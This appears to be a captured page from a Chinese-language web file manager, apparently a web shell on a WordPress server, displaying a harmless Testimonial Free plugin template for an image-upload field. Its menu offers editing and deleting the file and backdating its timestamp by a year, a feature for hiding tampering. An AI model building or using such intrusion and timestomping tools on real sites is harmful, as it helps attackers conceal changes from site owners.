文件操作 - image.php
返回文件管理
返回主菜单
删除本文件
文件: /home/www/public/wp-content/plugins/testimonial-free/src/Frontend/Views/templates/form/image.php
编辑文件内容
<?php /** * Image. * * This template can be overridden by copying it to yourtheme/testimonial-free/templates/form/image.php * * @package Testimonial_Free * @subpackage Testimonial_Free/Frontend */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } ?> <div class="sp-tpro-form-field"> <div class="sp-testimonial-label-section"> <?php if ( $featured_image_label ) { ?> <label for="tpro_client_image<?php echo esc_attr( $form_id ); ?>"><?php echo esc_html( $featured_image_label ); ?></label><?php } if ( $featured_image_required ) { ?> <span class="sp-required-asterisk-symbol">*</span> <?php } ?> </div> <div class="sp-testimonial-input-field-img"> <?php if ( ! empty( $before ) ) { ?> <span class="tpro_client_before"><?php echo esc_html( $before ); ?></span> <?php } ?> <input type="file" name="tpro_client_image" id="tpro_client_image<?php echo esc_attr( $form_id ); ?>" <?php echo esc_html( $featured_image_required ); ?> accept="image/jpeg,image/jpg,image/png," /> <?php if ( ! empty( $after ) ) { ?> <span class="tpro_client_after photo"><?php echo esc_html( $after ); ?></span> <?php } ?> </div> <!-- end of sp-testimonial-input-field --> </div> <!-- end of sp-tpro-form-field -->
修改文件时间
将文件时间修改为当前时间的前一年
删除文件